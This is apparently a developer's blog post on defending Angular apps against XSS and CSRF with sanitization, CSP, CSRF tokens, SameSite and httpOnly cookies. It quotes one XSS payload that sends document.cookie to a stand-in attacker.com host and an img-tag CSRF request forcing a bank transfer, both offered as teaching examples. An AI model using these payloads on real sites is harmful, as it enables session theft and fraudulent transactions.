← Retour au blog
sécurité webAngularCSRFXSSauthentification

CSRF, XSS, and httpOnly Cookies: Beyond the Buzzwords, a Real Strategy

Web security rarely rests on a single layer. You've probably heard CSRF, XSS, and httpOnly cookies mentioned as isolated concepts, checkboxes on a compliance checklist. Yet these three elements are only truly valuable when they work together. A CSRF token without XSS protection is theater. An httpOnly cookie without the right server-side architecture is false confidence. This article dissects how these three pillars interact and how to actually implement them in a modern Angular application.

Understanding the Trinity: Each Threat, Its Defense

The three threats we're combating here are fundamentally different, which is why the defenses must be too. An XSS (Cross-Site Scripting) attack injects malicious code directly into your page's DOM. The attacker doesn't steal your cookie: they use it as you, from your browser. A CSRF (Cross-Site Request Forgery) attack forces your browser to make unauthorized requests to a site where you're logged in—for example, transferring money from your bank account while you think you're clicking on an innocent ad. httpOnly cookies are only part of the solution: they prevent JavaScript from accessing your authentication tokens, limiting damage if XSS succeeds.

The confusion often comes from the fact that these attacks combine. A well-executed XSS can bypass CSRF protection by reading tokens client-side. A poorly managed CSRF allows attackers to force actions without even injecting code. And a cookie without httpOnly can be stolen by trivial XSS injection. Each layer reinforces the others, but each must also work independently.

XSS: Two Approaches, Two Worlds

There are two categories of XSS: stored and reflected. Stored XSS persists in your database—a malicious comment that sits there, waiting for other users to view it. Reflected XSS arrives via the URL and only affects whoever clicks the malicious link. Angular already handles part of the work for you: its templating system automatically escapes interpolated values. But that only partially protects you.

const userComment = '<img src=x onerror="fetch(\'https://attacker.com?cookie=\' + document.cookie)">';

Suppose a user submits the comment above. Angular will escape it, turning it into an inoffensive string. But if you use innerHTML or bypassSecurityTrustHtml() without strict validation, you reintroduce the attack vector. The golden rule: never trust user data, never use innerHTML directly, and if you absolutely must accept HTML, use a library like DOMPurify to sanitize it before rendering.

In Angular, always prefer [property] binding or {{interpolation}} over [innerHTML] . If you must display rich content, use a custom sanitization directive or a battle-tested library. Content Security Policy (CSP) complements this defense by restricting authorized script sources, limiting damage even if an injection gets through.

CSRF: Stateless Tokens and SameSite

CSRF works because your browser automatically sends your cookies with every request, even if it comes from a third-party site. The attacker can't read your cookie (thanks to Same-Origin Policy), but they can force your browser to send it. A CSRF token is a random value, generated by the server, that the client must return in every request that modifies data. The attacker can't guess this token, so they can't force your browser to make a valid request.

With Angular and a modern backend (Node.js, Java, Python), the typical flow is: the server generates a unique token per session, the client fetches it via a safe GET request, stores it, then includes it in the headers of every POST, PUT, or DELETE. Frameworks like Express (with csrf or csurf ) or Spring Security handle this for you. But beware: if you store the token in localStorage, XSS can steal it and use it. That's why it's often placed in an httpOnly cookie server-side, and the client reads it from a response or HTTP header.

Modern browsers offer a second layer: the SameSite attribute on cookies. With SameSite=Strict , the cookie is only sent for requests from the same site. SameSite=Lax allows certain navigation cases (external links), which is generally a good compromise. Combined with a CSRF token, it's solid defense in depth. Unfortunately, many developers enable SameSite and think they can abandon CSRF tokens. Wrong: SameSite doesn't protect against internal attacks or older browsers.

httpOnly Cookies: The Last Line of Defense

A cookie with the httpOnly attribute cannot be accessed by JavaScript. This means that even if XSS injects malicious code, that code cannot read document.cookie . It's a simple but devastatingly effective protection. The browser still sends the cookie with every request (that's its job), but at least injected code can't steal it to transmit to an attacker's server.

In practice, you must serve your session or authentication token in an httpOnly cookie, not in localStorage. localStorage is readable by JavaScript, making it an easy target for XSS. An httpOnly cookie, even if stolen through an XSS attack, can only be used by the browser itself—not by malicious code. Pair this with Secure (the cookie is only sent over HTTPS) and SameSite , and you have robust authentication.

Common Pitfall: False Security Through Layers

Many developers believe one layer is enough. "I have a CSRF token, I'm protected." Or: "My cookies are httpOnly, no need for CSRF." Wrong. These three elements don't replace each other; they complement each other. A concrete example: a bank site with CSRF token but no httpOnly cookie. XSS allows injected code to read the token from the DOM, steal it, and send it to an attacker's server. The token no longer protects anything. Conversely, a site with httpOnly cookie but no SameSite and no CSRF token. An attacker creates a page with <img src="https://bank.com/transfer?amount=1000&to=attacker"> . The browser automatically sends the cookie, and the request succeeds. The absence of CSRF token renders the defense useless.

True security demands systemic thinking. Validate and escape all input client-side (Angular). Implement CSP to restrict script sources. Serve CSRF tokens and sessions in httpOnly cookies. Enable SameSite. Validate tokens server-side. Use HTTPS everywhere. Each layer reduces the attack surface, but none is bulletproof alone.

Conclusion: A Strategy, Not a Checklist

Web security is not a series of checkboxes. CSRF, XSS, and httpOnly cookies are just pieces of a larger puzzle. Understanding how each works and how they interact is the first step. The second is to implement them deliberately in your architecture: choosing the right storage for your tokens, enabling the right HTTP headers, rigorously validating data. In a modern Angular application, this means using an HTTP interceptor to add CSRF tokens, sanitizing dynamic content, and working with a backend that handles sessions safely. The cost is minimal; the difference is enormous.

Développeur Angular & Mobile freelance — Strasbourg.

© 2026 Emilien Pons — Tous droits réservés.Conçu avec Angular, PrimeNG et ❤️